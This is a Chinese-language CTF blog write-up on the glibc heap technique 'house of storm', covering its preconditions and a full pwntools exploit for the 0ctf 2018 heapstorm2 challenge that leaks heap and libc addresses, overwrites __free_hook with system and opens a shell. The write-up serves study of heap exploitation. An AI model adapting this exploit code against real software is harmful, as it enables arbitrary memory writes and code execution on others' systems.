警告
本文最后更新于 2021-01-26,文中内容可能已过时。
#漏洞概论#
house of storm的是一种结合unsorted bin attack和large bin attack的联合攻击方式。
所以在学习这之前不可避免的需要学习unsorted bin attack和large bin attack。
这两篇的内容,分别可以看我之前写的文章
unsorted bin attack:https://blog.wjhwjhn.com/archives/146/
large bin attack:https://blog.wjhwjhn.com/archives/147/
利用这个漏洞方法,可以对任意地址进行分配从而造成任意地址读写的后果。
#漏洞利用条件#
1.可以申请到large bin、unsorted bin
2.需要有UAF,可以利用off by one/null,heap overflow,uaf等方法来实现。
3.需要开启PIE(利用PIE中chunk随机化地址中可能出现的最高位地址0x56)
#house of storm#
1.利用large bin attack分别错位写一个size和bk的地址,size错位写了0x56(由于pie的原因,chunk的地址总是为6字节,但是头部地址可能是0x55或者0x56,这里需要0x56才能成功,因为malloc后会进行检测)
以下检测需要满足的要求,只需满足一条即可
1
2
3
4
| assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
//1. victim 为 0
//2. IS_MMAPPED 为 1
//3. NON_MAIN_ARENA 为 0
|
2.利用unsorted bin attack在fd的位置写一个main_arena + 88的地址,从而绕过了检测。
#0ctf-2018-heapstorm#
1.利用堆收缩(poison null byte)来构成chunk overlapping。(这里的堆收缩是我第一次遇到的,利用这个方法的主要原因是这道题的off by null控制有限,在这之前一般是利用修改prev_size和prev_inuse的方式来构造chunk overlapping,但是这里无法控制到prev_size的内容,所以只能利用off by null来缩小堆块的内容,从而导致申请后没有覆盖到下一个chunk的prev_inuse,也没有破坏到prev_size的数据。从而构成了forgetten chunk的情况)
2.利用house of storm来对程序用mmap申请的指定地址的chunk内容进行控制,且因为写入地址的时候进行了异或,所以这里不能用unlink的方法(无法绕过检测)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
| from pwn import *
from LibcSearcher import *
#context.log_level = "debug"
elf = ELF('./0ctf_2018_heapstorm2')
def choice(idx):
r.sendlineafter("Command: ", str(idx))
def alloc(size):
choice(1)
r.sendlineafter("Size: ", str(size))
def update(idx, content):
choice(2)
r.sendlineafter("Index: ", str(idx))
r.sendlineafter("Size: ", str(len(content)))
r.sendafter("Content: ", content)
def delete(idx):
choice(3)
r.sendlineafter("Index: ", str(idx))
def show(idx):
choice(4)
r.sendlineafter("Index: ", str(idx))
def pwn():
#shrink chunk
alloc(0x18) #0
alloc(0x518) #1 0x521
alloc(0x18) #2
alloc(0x18) #3
alloc(0x528) #4 0x531
alloc(0x18) #5
alloc(0x18) #6
update(1, 'a' * 0x4F0 + p64(0x500))
delete(1)
update(0, 'a' * (0x18 - 12)) #0x521 => 0x500
alloc(0x18) #1
alloc(0x4C8) #7
delete(1)
delete(2) #unlink
alloc(0x538) #1, overlapping with 7
update(1, 'a' * 0x18 + p64(0x521))
delete(7)
alloc(0x528) #2, insert laegebin
update(4, 'a' * 0x4F0 + p64(0x500))
delete(4)
update(3, 'a' * (0x18 - 12)) #0x531 => 0x500
alloc(0x18) #4
alloc(0x4C8) #7
delete(4)
delete(5) #unlink
alloc(0x548) #4, overlapping with 7
update(4, 'a' * 0x18 + p64(0x531))
delete(7)
#house of storm
target_addr = 0x13370800 - 0x10
xor_key = 0x13377331
update(4, 'a' * 0x18 + p64(0x531) + p64(0) + p64(target_addr))
update(1, 'a' * 0x18 + p64(0x521) + p64(0) + p64(target_addr + 0x8) + p64(0) + p64(target_addr - 0x20 + 0x3))
alloc(0x48) #5
#leak heap
update(5, p64(0) * 3 + p64(xor_key) + p64(target_addr + 3) + p64(0x500))
show(0)
heap_addr = u64(r.recvuntil('\x56')[-6:].ljust(8, '\x00'))
log.success("heap_addr: " + hex(heap_addr))
#leak libc
update(0, p64(heap_addr) + '\x00' * 5 + p64(0) * 3 + p64(xor_key) + p64(target_addr + 0x30) + p64(0x500) + p64(heap_addr + 0x10) + p64(0x8))
show(1)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88 - 0x10
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
free_hook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
#change __free_hook
update(1, 'sh\x00')
update(0, p64(free_hook_addr) + p64(0x8) + p64(heap_addr + 0x10) + p64(0x8))
update(0, p64(system_addr))
#getshell
delete(1)
r.interactive()
while True:
try:
r = process('./0ctf_2018_heapstorm2')
#r = remote('node3.buuoj.cn', 27711)
pwn()
except EOFError:
pass
|
#参考链接:#
[1] house_of_storm 详解 - Rookle - 博客园 https://www.cnblogs.com/Rookle/p/13140339.html